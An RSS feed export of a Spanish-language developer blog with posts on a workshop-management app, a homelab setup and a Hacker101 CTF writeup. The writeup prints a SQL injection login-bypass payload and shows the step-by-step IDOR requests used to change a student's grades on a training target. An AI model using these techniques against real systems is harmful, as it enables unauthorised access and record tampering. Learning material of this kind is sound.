<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Brahian's Blog]]></title><description><![CDATA[Backend Developer interested in DevOps and Security.]]></description><link>https://blog.brahianpdev.com</link><generator>RSS for Node</generator><lastBuildDate>Fri, 24 Apr 2026 15:47:54 GMT</lastBuildDate><atom:link href="https://blog.brahianpdev.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Una solución a un problema que no lo tenía]]></title><description><![CDATA[Hace unos meses escribí un artículo llamado "de problema familiar a producto real", donde explicaba desde la importancia de entender el problema antes de escribir el código, hasta por qué la versión s]]></description><link>https://blog.brahianpdev.com/una-soluci-n-a-un-problema-que-no-lo-ten-a</link><guid isPermaLink="true">https://blog.brahianpdev.com/una-soluci-n-a-un-problema-que-no-lo-ten-a</guid><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Wed, 22 Apr 2026 12:53:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/628e493519bda58ac7fb13cd/2fb3d340-353c-42b6-8fce-d06a97d733fc.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hace unos meses escribí un artículo llamado "<a href="https://brahian.hashnode.dev/tallercito-de-problema-familiar-a-producto-real"><strong>de problema familiar a producto real</strong></a><strong>",</strong> donde explicaba desde la importancia de entender el problema antes de escribir el código, hasta por qué la versión simplista en cuanto a diseño era un acierto para un ERP de gestión de talleres.</p>
<p>Este es uno de los tantos ejemplos donde destiné tiempo a investigación, análisis, desarrollo, puesta a producción, iteración, pruebas QA, solicitud de feedback, etc. Sin embargo, este a nivel solución, tenía un plus que los otros no.</p>
<p>Tallercito venía a solucionar un problema de mi familia, donde la gestión de los talleres es literalmente, un caos, teniendo WhatsApp como nucleo central, audios esparcidos por todos lados, capturas de pantallas, pdfs de transferencias, charlas con proveedores por repuestos por un lado, con los clientes por el otro, donde en el 99% de los casos, también convive la vida personal, con el WhatsApp laboral.</p>
<p>Y si bien, un bot de WhatsApp quizás hubiese sido la mejor solución, todos en IT saben qué tan desgastante puede ser tener los permisos suficientes para si quiera pensar en esto de forma seria, al menos, en free-tier mode.</p>
<p>Teniendo esto en mente, opté por utilizar Next + TursoDB + Tailwinds, con Stitch Design como nexo entre la idea, al diseño que quería plasmar. Y si bien el repositorio cuenta con algunas virtudes de control de calidad, como testing unitarios, de integración, dependabot, husky, y un largo etc.</p>
<p>Todo eso, no sirve de nada, si el producto NO TIENE USUARIOS.</p>
<img src="https://cdn.hashnode.com/uploads/covers/628e493519bda58ac7fb13cd/aa12f675-6a0d-4150-a3a7-8440fdd1a6bd.png" alt="" style="display:block;margin:0 auto" />

<p>Si un producto es extensible, escalable, e incluso con una calidad envidiable, no sirve hasta que tiene usuarios reales, que lo utilizan en el día a día, porque es para ellos quienes al final resolvemos problemas. Todo lo demás, muchas veces es para seguir nuestros criterios propios de aceptación, que si bien, no está mal, a veces es tiempo y esfuerzo innecesario. Y aquí fue donde estuvo mi error.</p>
<p>Tuve feedback de usuarios reales, de hecho agunos excelentes donde me marcaron errores del flujo e incluso me solicitaron features. <strong>Entonces, ¿qué falló?</strong></p>
<h3>La cultura como centro del desastre</h3>
<p>Haciendo un recap, tenía un producto desarrollado con estándares que cualquier equipo técnico respetaría: testing, pipelines, control de dependencias, buenas prácticas de frontend, iteración basada en feedback real.</p>
<p>Porque el problema nunca fue la falta de una solución.</p>
<p>El problema es que la solución ya existía, y funcionaba lo suficientemente bien como para no ser cuestionada.</p>
<p>WhatsApp no era el caos.<br />WhatsApp era el sistema.</p>
<p>Uno desordenado, sí. Difícil de auditar, también. Pero rápido, accesible, familiar. No requiere onboarding, no necesita explicaciones, no rompe ningún flujo. Vive en el bolsillo, está siempre abierto, y mezcla lo personal con lo laboral de una forma que, aunque desde IT suene incorrecta, en la práctica es extremadamente eficiente.</p>
<p>Y ahí es donde aparece el verdadero error.</p>
<p>Construí algo mejor, pero no construí algo más fácil de adoptar.</p>
<p>Tallercito implicaba cambiar hábitos. Implicaba salir de un entorno conocido, aprender una nueva interfaz, confiar en otra herramienta, modificar la forma en la que se comunican con clientes y proveedores. Todo eso para resolver un problema que, desde su perspectiva, no era urgente. Era molesto, sí. Pero no crítico.</p>
<p>Y mientras algo funcione, cambiarlo tiene un costo.</p>
<p>Un costo que yo subestimé.</p>
<p>Hoy, Tallercito dejó de ser una “solución perfecta” en busca de usuarios, y pasó a ser una herramienta disponible, sin fricción.</p>
<p>Hoy se puede registrar y usar de forma gratuita <a href="https://tallercito.vercel.app/">acá</a>.</p>
<p>No como el cierre del proyecto, sino como una forma más honesta de iterarlo.</p>
<p>Porque al final, no gana el mejor sistema.</p>
<p>Gana el que la gente realmente está dispuesta a usar.</p>
]]></content:encoded></item><item><title><![CDATA[30 metros de cable ethernet para una habitación de 3x3]]></title><description><![CDATA[Existe un meme bastante popular en tecnología, con sus respectivas variaciones, pero que todas hacen referencia a una solución gigantesca para un problema relativamente pequeño. Eso, es exactamente lo]]></description><link>https://blog.brahianpdev.com/30-metros-de-cable-ethernet-para-una-habitaci-n-de-3x3</link><guid isPermaLink="true">https://blog.brahianpdev.com/30-metros-de-cable-ethernet-para-una-habitaci-n-de-3x3</guid><category><![CDATA[Homelab]]></category><category><![CDATA[networking]]></category><category><![CDATA[self-hosted]]></category><category><![CDATA[proxmox]]></category><category><![CDATA[#Mikrotik]]></category><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Sun, 19 Apr 2026 23:41:16 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/628e493519bda58ac7fb13cd/e69d8839-b9ac-4c5c-9a79-afe9722f149b.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Existe un meme bastante popular en tecnología, con sus respectivas variaciones, pero que todas hacen referencia a una solución gigantesca para un problema relativamente pequeño. Eso, es exactamente lo que hice, por eso el titulo.</p>
<p>La razón de existir de mi homelab siempre fue aprender, dejar de depender de servicios externos para cosas tan mundanas como alojar fotos, videos, o música. Aunque con la creciente ola de IA en la cual todos terminamos surfeando, no podía quedarme afuera, sin self-hostear algún modelo propio, incluso con el hardware limitado.</p>
<p>Pase un montón de horas, dandole vueltas a mis ideas, creando, eliminando, e incluso re-creando tanto VMs como LXCs en mi Proxmox, me sentía un poco abrumado, sin un plan definido, e incluso haciendo algunas cosas quasi a modo de prueba más que de impacto. El abanico de posibilidades es tan amplio que puede ser normal caer en la tentación, queriendo correr antes de caminar.</p>
<p>Hice una pausa.</p>
<p>Elimine un montón de cosas que probablemente no tarde en volver a instalar, otras las dejé pausadas, otras las configuré como parte del starter boot, etc. Comencé a poner orden, un LXC para Docker, otro para Ollama, comunicación entre sí para correr modelos self-hosted, nginxproxyreverse, y pi-hole. Necesitaba orden, una buena resolución de DNS, y filtrar todo lo que no me interesa ver en la red.</p>
<p>Pero había un problema.</p>
<p>Todo esto no servía de mucho si el tráfico no pasaba realmente por ahí, de una forma coherente y sensata. No tenía mucho sentido que sólo la mini-pc estuviese aplicando los filtros, denegaciones y demás configuraciones de pi-hole y nginx. Y es aquí donde entra un nuevo juguete a la acción, un <a href="https://mikrotik.com/product/hap_ax2">MikroTik hAP ax²</a><strong>.</strong></p>
<p>Y aquí, fue dónde me convertí en meme.</p>
<img src="https://cdn.hashnode.com/uploads/covers/628e493519bda58ac7fb13cd/8c33cbdc-f91b-46cf-a789-6f54d56c7f50.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/628e493519bda58ac7fb13cd/71ad17d0-36e3-453e-83be-e413e9ce9f13.png" alt="" style="display:block;margin:0 auto" />

<p><em>(Preferi la screenshot de Windows así la historia era más dolorosa...)</em></p>
<p>Me quede unas cuatro a cinco veces fuera de mi propia red, e irónicamente, cuando pude resolverlo, tenía acceso a la red, pero no al homelab... "Redes".</p>
<img src="https://cdn.hashnode.com/uploads/covers/628e493519bda58ac7fb13cd/248302f1-0f0c-4522-807b-f0ef854a764a.png" alt="" style="display:block;margin:0 auto" />

<p>Así que efectivamente, fui domado por redes, varias veces, por las cuales no descarto tampoco sean las últimas, las probabilidades siguen ahí.</p>
<p>Pero en fin, mientras escribo esto me contento con saber que al menos por ahora, tengo internet de la forma que quiero.</p>
<p>Este es el estado actual después de todo ese caos:</p>
<img src="https://cdn.hashnode.com/uploads/covers/628e493519bda58ac7fb13cd/27df304b-798b-4a38-bdac-630c46638e86.png" alt="" style="display:block;margin:0 auto" />

<p>En algún punto de todo ese desorden, terminé armando algo que al menos tiene sentido cuando lo miro de afuera. El diagrama es eso. Internet entra, pasa por el MikroTik —que ahora es el que manda en la red— y antes de llegar a cualquier dispositivo, todo pasa por Pi-hole.</p>
<p>Y se escucha genial, como si supiera de qué hablo, o como si fuese una especie de genio. Nada más alejado de la realidad, de hecho cada vez que me siento a meter mano en el homelab, siento que sé menos, siento que las especialidades dejan de tener sentido, el conocimiento cross áreas premia, mientras que castiga el desconocimiento.</p>
<p>Ya no se trata solo de aprender sintaxis, lógica o teorías. Ni siquiera de desplegar cosas productivas o tener usuarios reales.</p>
<p>Se trata de entender un camino completo que muchas veces se ignora en desarrollo: donde se cruzan el hardware, los apagones de luz, las redes locales, la exposición a internet, y un montón de cosas más que todavía no termino de entender.</p>
<p>Pero con el tiempo, espero hacerlo.</p>
<p>Mientras tanto, me conformo con ver algunas métricas de cómo se comporta todo. Nada demasiado sofisticado, pero lo suficiente como para entender qué está pasando.</p>
<img src="https://cdn.hashnode.com/uploads/covers/628e493519bda58ac7fb13cd/8f2624c9-8c69-47ac-8433-06039a5b899e.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/628e493519bda58ac7fb13cd/5918b0ff-b7dd-4af0-a225-0b0c5eb48508.png" alt="" style="display:block;margin:0 auto" />

<p>30 metros de cable de red tirados detrás del MikroTik y la mini-pc. Y un montón de ideas sobre la mesa que todavía tengo que ordenar.</p>
]]></content:encoded></item><item><title><![CDATA[Hacker101: CTF OSU [Moderate Writeup]]]></title><description><![CDATA[Resumen
Objetivo del reto: elevar las calificaciones de Natasha Drew en el portal de estudiantes OSUSEC para obtener la flag.
Contexto del objetivo

El challenge indica explícitamente que Natasha no tiene las notas necesarias y hay que ponerle todo e...]]></description><link>https://blog.brahianpdev.com/hacker101-ctf-osu-moderate-writeup</link><guid isPermaLink="true">https://blog.brahianpdev.com/hacker101-ctf-osu-moderate-writeup</guid><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[hacker101]]></category><category><![CDATA[IDOR]]></category><category><![CDATA[#sqlinjection]]></category><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Wed, 18 Feb 2026 20:45:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/JrEHwkPIurA/upload/a9cffd556acdefc80c689d053d2fc1b7.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-resumen">Resumen</h2>
<p><strong>Objetivo del reto:</strong> elevar las calificaciones de <strong>Natasha Drew</strong> en el portal de estudiantes OSUSEC para obtener la flag.</p>
<h2 id="heading-contexto-del-objetivo">Contexto del objetivo</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771444688476/87401af1-00a4-4743-9125-c4af305274dd.png" alt class="image--center mx-auto" /></p>
<p>El challenge indica explícitamente que Natasha no tiene las notas necesarias y hay que ponerle todo en <code>A</code>.</p>
<p>Durante pruebas iniciales (XSS, payloads manuales y SQLMap) el servidor respondía con <code>401</code>, por lo que la ruta efectiva fue observar flujo de sesión y navegación interna.</p>
<h2 id="heading-paso-1-bypass-de-autenticacion">Paso 1: Bypass de autenticación</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771444852792/25703c04-2fb5-4d20-89e4-adb823a42337.png" alt class="image--center mx-auto" /></p>
<p>En Burp Suite (Intercept → Repeater), se probó login con payload clásico:</p>
<p><code>username=' OR 1=1 --&amp;password=' OR 1=1 --</code> Tras este bypass, se obtuvo un Location que apuntaba a <code>/</code> y una cookie de sesión token.</p>
<p>Evidencia (momento de bypass y sesión de <strong>rhonda.daniels</strong>):</p>
<p>(Bypass de autenticación y acceso inicial)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771447480653/c8e188d9-af53-4f6c-bd57-249a972216bb.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-paso-2-acceso-al-dashboard-con-cookie-valida">Paso 2: Acceso al dashboard con cookie válida</h2>
<p>Paso 2: Acceso al dashboard con cookie válida Sin cookie, <code>/</code> respondía redirección a login:</p>
<p>Request:</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/</span> HTTP/2
<span class="hljs-attribute">Host</span>: &lt;ctf-host&gt;
</code></pre>
<p>Response:</p>
<pre><code class="lang-http">HTTP/2 <span class="hljs-number">302</span> Found
<span class="hljs-attribute">Location</span>: login
</code></pre>
<p>Con cookie token, el mismo endpoint devolvía 200 OK y el panel de estudiantes:</p>
<p>Request:</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/</span> HTTP/2
<span class="hljs-attribute">Host</span>: &lt;ctf-host&gt;
<span class="hljs-attribute">Cookie</span>: token=&lt;valor&gt;
</code></pre>
<p>Al hacer follow redirection, nos encontramos con una sorpresita.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771446530868/bdd2ed6e-aea7-44df-a1ed-51327e566755.png" alt class="image--center mx-auto" /></p>
<p>Nos dirigió a <code>/./</code> en lugar de <code>/</code></p>
<p>Simplemente modificamos la request a <code>GET /</code>, lo demás lo mantenemos tal cual.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771446744438/d1a67a49-fbe7-4318-908c-49ac88a77e0f.png" alt class="image--center mx-auto" /></p>
<p>Al final del HTML del dashboard se observa que la sesión no es de administrador:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
  <span class="hljs-keyword">var</span> staff = {
    <span class="hljs-attr">admin</span>: <span class="hljs-literal">false</span>,
    <span class="hljs-attr">name</span>: <span class="hljs-string">'rhonda.daniels'</span>
  }
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<h3 id="heading-paso-3-identificacion-del-esquema-de-ids">Paso 3: Identificación del esquema de IDs</h3>
<p>En la tabla se observan elementos como:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">td</span> <span class="hljs-attr">data-id</span>=<span class="hljs-string">"TmFuY2llX0JyZXR0"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"student-link"</span>&gt;</span>Brett, Nancie<span class="hljs-tag">&lt;/<span class="hljs-name">td</span>&gt;</span>
</code></pre>
<p>Primero, verificamos qué tipo de hash es data-id con <a target="_blank" href="https://hashes.com/en/tools/hash_identifier">hashes-identifier</a>, el cual nos indica un base64.</p>
<p><code>TmFuY2llX0JyZXR0</code> decodifica a <strong>Nancie_Brett</strong>, así que el data-id es Base64 del patrón Nombre_Apellido.</p>
<p>Se construyó el ID objetivo:</p>
<p><strong>Natasha_Drew</strong> → <code>TmF0YXNoYV9EcmV3</code></p>
<h3 id="heading-paso-4-descubrir-endpoint-de-actualizacion">Paso 4: Descubrir endpoint de actualización</h3>
<p>No había <code>&lt;a href&gt;</code> en la celda (student-link), por lo que la navegación dependía de JavaScript.</p>
<p>En el script cliente (<strong>app.min.js</strong>) apareció la lógica:</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">window</span>.location = <span class="hljs-string">'/update-'</span> + objectName + <span class="hljs-string">'/'</span> + <span class="hljs-built_in">this</span>.dataset.id;
</code></pre>
<p>Con objectName = 'student', la ruta efectiva es: <code>/update-student/&lt;id_base64&gt;</code></p>
<p>Esto lo encontré en source desde devtools:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771446949686/d67fa080-6c0b-41f9-9a67-b0a5e041b834.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-paso-5-explotacion-idor">Paso 5: Explotación IDOR</h3>
<p>Se hizo POST al recurso de Natasha usando el ID Base64 generado:</p>
<pre><code class="lang-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/update-student/TmF0YXNoYV9EcmV3</span> HTTP/2
<span class="hljs-attribute">Host</span>: &lt;ctf-host&gt;
<span class="hljs-attribute">Cookie</span>: token=&lt;valor&gt;
</code></pre>
<p>La respuesta devolvió formulario editable de <strong>Natasha</strong> (aunque la sesión era de otro usuario), confirmando <strong>IDOR</strong> por falta de autorización por objeto.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771447051884/d7853291-3ca9-4c8c-b5ae-6f9cf641a2ad.png" alt class="image--center mx-auto" /></p>
<p>En el HTML apareció además un campo necesario para actualizar:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"hidden"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"student_hash"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"0cb3ed2d---------SECRET-------"</span>&gt;</span>
</code></pre>
<h3 id="heading-paso-6-subir-calificaciones-a-a-y-obtener-flag">Paso 6: Subir calificaciones a A y obtener flag</h3>
<p>Con ese student_hash, se envió el POST completo:</p>
<pre><code class="lang-xml">POST /update-student/TmF0YXNoYV9EcmV3 HTTP/2
Host: <span class="hljs-tag">&lt;<span class="hljs-name">ctf-host</span>&gt;</span>
Cookie: token=<span class="hljs-tag">&lt;<span class="hljs-name">valor</span>&gt;</span>
Content-Type: application/x-www-form-urlencoded
https://<span class="hljs-tag">&lt;<span class="hljs-name">host</span>&gt;</span>.ctf.hacker101.com/update-student/TmF0YXNoYV9EcmV3
student_hash=[USER_HASH]&amp;grade_english=A&amp;grade_science=A&amp;grade_maths=A
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771447352982/6c47f806-d441-4022-bbe1-f3811cef4d6c.png" alt class="image--center mx-auto" /></p>
<p>Awesome! Natasha has got top marks and can now attend Hacker Camp!!!!</p>
<p><strong>FLAG^1c497de5———————SECRET———SECRET————SECRET———————$FLAG$</strong></p>
]]></content:encoded></item><item><title><![CDATA[Homelab Project]]></title><description><![CDATA[Son las 14:00, un 24 de Diciembre, suena hip hop de los 90’s, almorzamos temprano mientras el calor del verano abrazador no es suficiente para entorpecernos (más), gracias al privilegio de tener un aire que acompaña. Y como aún, la torpeza no es tota...]]></description><link>https://blog.brahianpdev.com/homelab-project</link><guid isPermaLink="true">https://blog.brahianpdev.com/homelab-project</guid><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Wed, 24 Dec 2025 17:47:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1766598831146/b2e0c531-05f8-4d10-8bfe-b8094e65c76b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Son las 14:00, un 24 de Diciembre, suena <a target="_blank" href="https://youtu.be/2zrx46aOUCg?si=WgSNDO0BwbL2lBW2">hip hop de los 90’s</a>, almorzamos temprano mientras el calor del verano abrazador no es suficiente para entorpecernos <em>(más)</em>, gracias al privilegio de tener un aire que acompaña. Y como aún, la torpeza no es total, vine a mi “cuartoficina” a escribir el primer artículo de esta serie, donde me estampo la cara contra problema tras problema queriendo armar un homelab, siendo sincero, sin un objetivo claro más allá de: “aprender sobre la marcha”.</p>
<h3 id="heading-el-objetivo">El objetivo</h3>
<p>La idea del homelab comenzó a principios de 2025, cuando <a target="_blank" href="https://blog.jonathan.com.ar/">jd</a>, un amigo de IT World me compartía sus avances, desde un mejor entendimiento en redes, hasta la expansión de conocimiento de hadware en diversos aspectos, disponibilidad, resiliencia, etc. Conceptos de los cuales hablábamos con frecuencia pensando en cloud, pero que ahora, teníamos que pensar en cómo resolver estos problemas a nivel físico.</p>
<p>Mientras transcurrían largas horas de estudios, debates, investigación, katas de leetcode o arquitectura, su homelab avanzaba, mientras el mío, por distintas cuestiones, quedó sólo como una idea para el futuro. Hasta, diciembre 2025, donde en las vísperas navideñas, después de mucho decidí hacerme un auto-regalo. Aquí sabrán mis más allegados, que, no suelo gastar plata “por que sí”, pero esta vez, dije, tengo que poner en práctica, enfrentarme a nuevos retos, y sobre todo, <strong>aprender nuevas cosas</strong>.</p>
<h3 id="heading-la-serie-el-blog">La serie, el blog</h3>
<p>A lo largo de mi vida he escrito bastante, con respecto a algunos, bastante poco con respecto a otros, sin embargo, el mundo tecnológico poco a poco me ha estado consumiendo en algunas áreas que realmente disfrutaba, como esta. De hecho, hago mención a nuestro estimado <a target="_blank" href="https://github.com/jpLicera">Fulanosaurio</a>, quien me diagnosticó de forma profesional mediante el soundpad de discord que estaba en estado: <strong>brainrot.</strong> Por lo cual, después del merecido castigo por ser un energúmeno que posteaba cosas realizadas por la IA, tomé la descabellada idea de, en este siglo 21, ir en contra la corriente, escribiendo por mi mismo.</p>
<h3 id="heading-el-homelab">El homelab</h3>
<p>Como mencioné al principio, el objetivo no estaba claro, lo que sí estaba, y aún está claro, es seguir aprendiendo, y en ésta línea, tomé unas decisiones un poco ridículas, pero que en mi visión totalmente alterada de la realidad, me va a servir.</p>
<ol>
<li><p>La compra. Busqué en distintos países, distintos envíos, etc, para al final, terminar comprando de forma local por los excesivos impuestos de aduana por un aparato que con suerte, pesa 1kg. Quedando en mis manos a los días de tomar ardua decisión (5 min’), con una <strong>Dell 3040 Core I5 6ta 16gb 256gb Ssd Refurbished,</strong> por su puesto, refurbished. Si bien, podía tener ciertas limitantes, me gustaba bastante comparado a otras opciones donde por el mismos precio se compraba una batata con un hamster de CPU, al menos esta Dell parecía una versión honesta y humilde, para empezar.</p>
</li>
<li><p>Post-compra. Me puse a evaluar más opciones, mi interés inicialmente se centraba en domótica, pero, dadas las fechas, sumado a que en mi país no es tan fácil conseguir hardware específico, tuve que ir dándo vueltas a la idea inicial. La verdad, no demoré mucho en decidir, después de ser un gordo compu por tanto tiempo, me sentí iluminado. “Haré algo para jugar videojuegos de PS2 en el living”. Esto, implicaba algunos problemas de ubicación, nuevas conexiones de cable de red, además de configurar una VM específicamente para esto… Próximamente, problemas también, de rendimiento.</p>
</li>
</ol>
<h3 id="heading-el-homelab-primeros-pasos">El homelab: Primeros pasos</h3>
<p>El inicio fue simple, pero estaba más emocionado que un otaku cuando salió el último capítulo de One Piece (entiendo ese sentimiento). Tenía un pendrive viejo, Proxmox descargado, y Rufus haciendo magia. La instalación en la mini pc fue sencilla, de principio a fin. A partir de ahí, empezaron los “problemas”:</p>
<p>Nótese que escribí problemas con comillas, a propósito, no eran problemas persé, sino más bien desconocimiento como usuario. Entre los problemas que me topé fueron dos, tres:</p>
<ol>
<li><p>No lograba conectarme al ip de mi máquina con Proxmox. Siempre, me tiraba conection refused. Hasta que noté, que esto estaba sucediéndome sólo en Chrome. Pero no era frustrante, era más bien, la chispa de la curiosidad, otra vez. Había que entender cuál era la diferencia entre navegadores contra el mismo IP:PORT. Googleando, encontré tanta información, que abrumaba. Y sí, googleando, like old school, porque incluso con prompts elaborados, la IA en free-tier, en vísperas navideñas parecía tener más ganas de hacer una ensalada de frutas, que responderme algo breve, concreto. Aunque aquí admito, la IA es excelente, pero también, es la culpable de mi diagnóstico a través del soundpad.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766597790247/d4914216-2d6d-4804-826a-bcabcb8956f4.jpeg" alt class="image--center mx-auto" /></p>
</li>
<li><p>Cables, tengo un desorden inmenso de cables, los cuales les he dado varias vueltas al asunto sin llegar a un concenso conmigo mismo de qué hacer al respecto. El problema, no es en sí la distancia de los dispositivos hacia la toma de corriente, el problema, es que necesito poder variar los movimientos que estos tienen, es decir, a veces necesito una laptop con más prioridad que otra. La mini pc, puede estar en cualquier lado, es más, ni estará (recordar, que su lugar dedicado será el living de la casa, para jugar juegos Retros como un buen viejo).</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766597619314/bb8fc81e-04bc-45aa-86d7-1b7a40184ce3.jpeg" alt class="image--center mx-auto" /></p>
</li>
<li><p>RetroArch, algunos issues de performance, craches del Core de PS2, fueron algunos de los issues que llegaron en la primer VM que levantaba dentro de Proxmox junto a un <a target="_blank" href="https://linuxmint.com/edition.php?id=322">Linux Mint Cinnamon Edition</a>, sin embargo, estos craches desaparecieron con el Core de <strong>Nintendo 64 ParaLLEIN N64,</strong> por lo que nuevamente iluminado, me fui en búsqueda de algún que otro clásico para la prueba de fuego.</p>
</li>
</ol>
<h3 id="heading-el-homelab-primer-meta-completada">El homelab: Primer meta completada</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766597564699/dd91793b-a282-4da2-b414-7bb6d4ba09fc.png" alt class="image--center mx-auto" /></p>
<p>En este punto, dándole la razón a Doctorsauriodon’t sobre mi diagnóstico, no tengo claro cómo darle un cierre a un post que escribo sin el uso de nuestras magníficas herramientas roba trabajos (IA), sin embargo, dudo humildemente si estas hubiesen podido ser igual de sarcásticas. Dicho esto, los siguientes pasos para el homelab son:</p>
<ol>
<li><p>Mover la mini pc al living, sumarle dos joysticks para hacer un buen torneo de Mortal Kombat, Super Mario, o Crash… Lo importante aquí, es que la mini pc, quede lejos de mi cuartoficina, para facilitar la conexión por HDMI al tv en la sala compartida, mientras que dentro de la misma red, se irán cocinando otras cosas… Como dirán las nuevas generaciones: Dejálo cookear, leet him cook.</p>
</li>
<li><p>Un nuevo nodo, dedicado a iOT, domótica, automatización según lectura de sensores. Realmente, no tengo claro qué, posiblemente, sea algo relacionado al regado de plantas, porque en mi casa si bien, tenemos una cantidad exorbitante, así como para otros el riego es terapeútico, para mi es torturicidio.</p>
</li>
<li><p>Un nuevo nodo, enfocado en AppSec, posiblemente, relacionado a dispositivos de alarmas, cámaras de vigilencia, aquí, un poco la idea es comprar las cosas, para programarlas por mí mismo. No tiene mucho sentido comprar una cámara inteligente, el objetivo del homelab es que una cámara me pueda enviar datos a mi servidor. Yo decido qué hacer con dicha información.</p>
</li>
</ol>
<p><em>Mención especial para nuestro amigo tilteado. Well, my work here is done.</em></p>
<p><img src="https://pbs.twimg.com/media/F3KZSUnWsAEXLT8.jpg" alt="Harry Kane: “Well, my work here is done” Daniel Levy: “what do you mean your  work here is done? You didn't win a trophy” Harry Kane: “Ha ha, didn't I?”  *departs for" /></p>
<p>Y ante las noticias de « qué palabra rara » la adquisición de nuevas plataformas de Streaming, me veo en la total obligación de despedirme, hasta nuevo aviso, citando a quien realmente, no necesito nombrar:</p>
<p>“Esto es todo amigos”.</p>
]]></content:encoded></item><item><title><![CDATA[Tallercito: de problema familiar a producto real]]></title><description><![CDATA[Tallercito no nació de una idea brillante en una pizarra ni de una tendencia de moda. Nació en charlas familiares.
Mi hermano tiene un taller de electricidad automotriz.Mi tío, un taller mecánico.Ambos con realidades distintas, pero con problemas sor...]]></description><link>https://blog.brahianpdev.com/tallercito-de-problema-familiar-a-producto-real</link><guid isPermaLink="true">https://blog.brahianpdev.com/tallercito-de-problema-familiar-a-producto-real</guid><category><![CDATA[Next.js]]></category><category><![CDATA[ERP Software]]></category><category><![CDATA[SaaS]]></category><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Fri, 19 Dec 2025 12:57:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/LAaSoL0LrYs/upload/8ca046de2ff9b1c7438ef8da30e04227.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Tallercito no nació de una idea brillante en una pizarra ni de una tendencia de moda. Nació en charlas familiares.</p>
<p>Mi hermano tiene un taller de electricidad automotriz.<br />Mi tío, un taller mecánico.<br />Ambos con realidades distintas, pero con problemas sorprendentemente parecidos.</p>
<p>Ahí apareció la pregunta clave:<br /><strong>¿existe una solución simple que pueda servirle a ambos sin volverse un ERP gigante e imposible de usar?</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766148942859/13ab562e-68b0-4123-83fd-d33628afc0a2.png" alt class="image--center mx-auto" /></p>
<p>Este fue el primer diseño provisional, que luego pasaría a tomar una forma más “coherente”.</p>
<h2 id="heading-entendiendo-el-problema-antes-de-escribir-codigo">Entendiendo el problema antes de escribir código</h2>
<p>Antes de abrir el editor, hice algo que muchos salteamos: <strong>escuchar</strong>.</p>
<p>Me senté con ellos y les pregunté cómo trabajan:</p>
<ul>
<li><p>¿Cómo registran un vehículo?</p>
</li>
<li><p>¿Qué información es indispensable?</p>
</li>
<li><p>¿Qué les hace perder más tiempo?</p>
</li>
<li><p>¿Dónde se equivocan más seguido?</p>
</li>
<li><p>¿Qué cosas sí o sí necesitan ver todos los días?</p>
</li>
</ul>
<p>La respuesta fue clara:<br />no necesitan “mil módulos”, necesitan <strong>orden, seguimiento y claridad</strong>.</p>
<p>A partir de eso empecé a diseñar el flujo de Tallercito.</p>
<h2 id="heading-un-flujo-simple-pensado-para-talleres-reales">Un flujo simple, pensado para talleres reales</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766148629686/e511868f-9edc-44c5-923b-3d1b76b8604e.png" alt class="image--center mx-auto" /></p>
<p>Tallercito se basa en un flujo muy concreto. Sin pasos innecesarios. Sin pantallas que nadie usa.</p>
<h2 id="heading-funcionalidades-que-si-importan">Funcionalidades que sí importan</h2>
